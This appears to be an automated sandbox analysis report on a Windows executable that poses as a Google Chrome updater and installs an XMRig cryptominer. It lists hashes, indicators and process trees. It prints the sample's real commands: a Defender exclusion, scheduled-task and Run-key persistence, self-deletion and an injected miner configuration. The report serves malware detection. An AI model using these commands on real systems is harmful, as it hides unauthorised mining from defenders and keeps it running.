Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
375s -
max time network
1785s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execonhost.exedescription pid process target process PID 2068 created 1264 2068 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2068 created 1264 2068 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2068 created 1264 2068 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2068 created 1264 2068 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 3016 created 1264 3016 updater.exe Explorer.EXE PID 3016 created 1264 3016 updater.exe Explorer.EXE PID 3016 created 1264 3016 updater.exe Explorer.EXE PID 3016 created 1264 3016 updater.exe Explorer.EXE PID 704 created 1264 704 conhost.exe Explorer.EXE PID 3016 created 1264 3016 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral23/memory/2180-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2180-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2592 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 3016 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2948 taskeng.exe -
Processes:
resource yara_rule behavioral23/memory/2180-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2180-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 3016 set thread context of 704 3016 updater.exe conhost.exe PID 3016 set thread context of 2180 3016 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2560 schtasks.exe 2908 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0af8d7d874eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
UMRsPGc4u9tycx9r.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2068 UMRsPGc4u9tycx9r.exe 2068 UMRsPGc4u9tycx9r.exe 2404 powershell.exe 2068 UMRsPGc4u9tycx9r.exe 2068 UMRsPGc4u9tycx9r.exe 2872 powershell.exe 2068 UMRsPGc4u9tycx9r.exe 2068 UMRsPGc4u9tycx9r.exe 2068 UMRsPGc4u9tycx9r.exe 2068 UMRsPGc4u9tycx9r.exe 2596 powershell.exe 3016 updater.exe 3016 updater.exe 1916 powershell.exe 3016 updater.exe 3016 updater.exe 2584 powershell.exe 3016 updater.exe 3016 updater.exe 3016 updater.exe 3016 updater.exe 704 conhost.exe 704 conhost.exe 3016 updater.exe 3016 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 468 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2872 powershell.exe Token: SeDebugPrivilege 2596 powershell.exe Token: SeDebugPrivilege 1916 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 3016 updater.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: SeLockMemoryPrivilege 2180 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2872 wrote to memory of 2560 2872 powershell.exe schtasks.exe PID 2872 wrote to memory of 2560 2872 powershell.exe schtasks.exe PID 2872 wrote to memory of 2560 2872 powershell.exe schtasks.exe PID 2592 wrote to memory of 2716 2592 cmd.exe choice.exe PID 2592 wrote to memory of 2716 2592 cmd.exe choice.exe PID 2592 wrote to memory of 2716 2592 cmd.exe choice.exe PID 2596 wrote to memory of 1660 2596 powershell.exe schtasks.exe PID 2596 wrote to memory of 1660 2596 powershell.exe schtasks.exe PID 2596 wrote to memory of 1660 2596 powershell.exe schtasks.exe PID 2948 wrote to memory of 3016 2948 taskeng.exe updater.exe PID 2948 wrote to memory of 3016 2948 taskeng.exe updater.exe PID 2948 wrote to memory of 3016 2948 taskeng.exe updater.exe PID 2584 wrote to memory of 2908 2584 powershell.exe schtasks.exe PID 2584 wrote to memory of 2908 2584 powershell.exe schtasks.exe PID 2584 wrote to memory of 2908 2584 powershell.exe schtasks.exe PID 3016 wrote to memory of 704 3016 updater.exe conhost.exe PID 1092 wrote to memory of 1688 1092 cmd.exe WMIC.exe PID 1092 wrote to memory of 1688 1092 cmd.exe WMIC.exe PID 1092 wrote to memory of 1688 1092 cmd.exe WMIC.exe PID 3016 wrote to memory of 2180 3016 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1264
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2560
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1660
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2908
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:476
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:704
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\system32\taskeng.exetaskeng.exe {404F486D-BEB8-4775-9BE1-9C94F741D76A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
142KB
MD5c0db67d707b250723a68e3c7eadfa7d3
SHA12352f527a8ce6ddb0c1636b4f2821892673de3c5
SHA2567539603cdfa8590ed38e45ed8c36600a620490da6549e8d42bc0cfcc48c174ab
SHA5120a6232b88635b1d0e3df916319a7f04313c8e40c8561878820c6b6f40a67fd4286d2f1dd2c17fa1e72f7af368528397cb1ef631931f3669d0314b5ee037b892b
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Filesize
670KB
MD501df0e2714fd5f0d9f9474774782144c
SHA1d626f6df7296f755272d0668d951d66c62e8c962
SHA2563a70fa00af44aec96b143bd423a87df2d1dd5b9009598d85971aaade5ec98137
SHA512d7bfe92c30c00f835ec44595d44f0143f783cfbcdc373138680fe3a75976fd38813f611474d7ddddb1cc2dfa36a72febfffaf6003187a1f3e9fde9a1d9f57ab8
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e4440957ee57190117b7f1f1d1578865
SHA15973b967b066e826cb17f8fe09941b56df515711
SHA256e9ebc36ee8d8a487a6e05174b811386bdd043b3fb7f54b34952489aa4f178ec4
SHA5123ae8001b0c5b9528bf8cf17e2a48b3e1bc995dd72f9efae56e5513a36353ec500f0be32e0d0e6ffa16d04c2674cecc0657d194be1dc3a23d35ad472abb824773
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
126KB
MD5f3468d582f528aae5ba05f3b7c23a29b
SHA1b4ec3baaf7b7b15c5142c2acbebce258d1c6df1b
SHA256babdbef293055fab25b8819e9b22b5faa6d47b98ca1ab09a80cb399b5739cad7
SHA51220af1e645c70678463f14869b1ef52d5fa2c7e896ac9fedb8860dc88b5236d03bed668e8432d7204d7f072d2d959e3d9958b12879a25cd0178ccad7a72c6fdf8